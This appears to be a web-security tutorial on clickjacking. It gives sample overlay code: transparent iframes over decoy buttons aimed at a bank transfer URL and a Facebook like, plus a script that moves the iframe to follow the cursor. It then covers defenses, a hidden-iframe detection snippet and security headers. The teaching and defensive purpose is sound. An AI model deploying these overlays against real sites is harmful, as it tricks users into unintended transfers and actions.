The definition and principle of clickjacking

Clickjacking is a front-end security threat where attackers induce users to click on seemingly harmless elements through transparent or disguised interface layers, thereby triggering malicious actions. This attack employs visual deception techniques, making users believe they are interacting with a legitimate page while actually being manipulated into performing unintended actions.

Basic Definition of Clickjacking

Clickjacking, also known as UI redressing, is a type of visual deception attack. Attackers create a transparent or opaque overlay that aligns key interactive elements (e.g., buttons, links) of a target website with a decoy interface designed by the attacker. When users click on the visible decoy content, they inadvertently trigger hidden malicious actions.

Key characteristics include:

• Visual layering: Malicious pages overlay target elements using iframes or absolute positioning.
• Transparency manipulation: CSS opacity or z-index properties are used to hide the actual operation.
• User unawareness: Victims remain completely unaware of the actions being triggered.

Technical Implementation Principles

Core Attack Process

1. The attacker creates an iframe containing the target page.
2. CSS positioning aligns the iframe with the decoy page visually.
3. Adjusts the iframe's transparency or partial visibility.
4. Induces users to interact with visible elements.

<!-- Basic attack example -->
<style>
  #malicious-button {
    position: absolute;
    left: 100px;
    top: 200px;
    z-index: 1;
    opacity: 0.9;
  }
  #target-iframe {
    position: absolute;
    left: 100px;
    top: 200px;
    z-index: 2;
    opacity: 0.01;
    width: 120px;
    height: 40px;
  }
</style>

<div id="malicious-button">Click to win a prize</div>
<iframe id="target-iframe" src="https://victim.com/transfer?amount=1000"></iframe>

Advanced Variant Techniques

1. Cursor Hijacking: Deceives click locations by modifying mouse pointer styles.

#decoy {
  cursor: url('fake-cursor.cur'), auto;
}

2. Drag-and-Drop Hijacking: Exploits HTML5 Drag-and-Drop API to hijack data.
3. Touchscreen Hijacking: Targets touch events on mobile devices.

Real-World Attack Examples

Social Media Like Hijacking

Attackers overlay Facebook's "Like" button on a fake page:

<style>
  #fake-page {
    background: url('celebrity-photo.jpg');
    width: 800px;
    height: 600px;
    position: relative;
  }
  #like-button {
    position: absolute;
    left: 350px;
    top: 500px;
    z-index: 1;
  }
  #hidden-iframe {
    position: absolute;
    left: 350px;
    top: 500px;
    width: 50px;
    height: 20px;
    opacity: 0.001;
    z-index: 999;
  }
</style>

<div id="fake-page">
  <button id="like-button">View HD Image</button>
  <iframe id="hidden-iframe" src="https://facebook.com/like?target=attacker_page"></iframe>
</div>

Bank Transfer Hijacking

A transparent iframe overlays a fake game interface's "Confirm" button:

// Dynamically adjust iframe position to follow the mouse
document.addEventListener('mousemove', (e) => {
  const iframe = document.getElementById('bank-iframe');
  iframe.style.left = `${e.clientX - 15}px`;
  iframe.style.top = `${e.clientY - 10}px`;
});

Defense Mechanisms and Countermeasures

Client-Side Protection Measures

1. X-Frame-Options Header:

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

2. Content Security Policy:

Content-Security-Policy: frame-ancestors 'none';

3. JavaScript Defense Script:

if (top !== self) {
  document.body.style.display = 'none';
  top.location = self.location;
}

Visual Interference Protection

1. Add random CAPTCHAs to critical operations.
2. Require secondary confirmation for sensitive actions.
3. Implement CAPTCHA verification mechanisms.

Modern Browser Protection Features

1. Frame Busting: Built-in browser mechanisms to block framing.
2. Sandbox Attributes: Restrict iframe capabilities using sandbox attributes.

<iframe sandbox="allow-scripts" src="..."></iframe>

Detection and Verification Methods

Manual Testing Process

1. Use developer tools to inspect page iframe structures.
2. Modify CSS properties to detect hidden elements.

// Console detection of hidden iframes
document.querySelectorAll('iframe').forEach(iframe => {
  const style = window.getComputedStyle(iframe);
  if (style.opacity < 0.1 || style.zIndex > 1000) {
    console.warn('Suspicious iframe:', iframe);
  }
});

Automated Scanning Tools

1. OWASP ZAP's clickjacking detection module.
2. Burp Suite's Clickbandit tool.
3. Custom crawlers to detect X-Frame-Options headers.

Industry Standards and Best Practices

OWASP Recommendations

1. Prohibit framing for critical business operations.
2. Implement a defense-in-depth strategy.
3. Conduct regular security audits of iframe usage.

Financial Industry Special Requirements

1. Force transfer operations to open in independent windows.
2. Implement biometric secondary verification.
3. Introduce operation delays and manual review mechanisms.

Detailed Configuration of Related Security Headers

Strict Transport Security Configuration

Strict-Transport-Security: max-age=63072000; includeSubDomains

Cross-Origin Policy Configuration

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

Content-Type Enforcement

X-Content-Type-Options: nosniff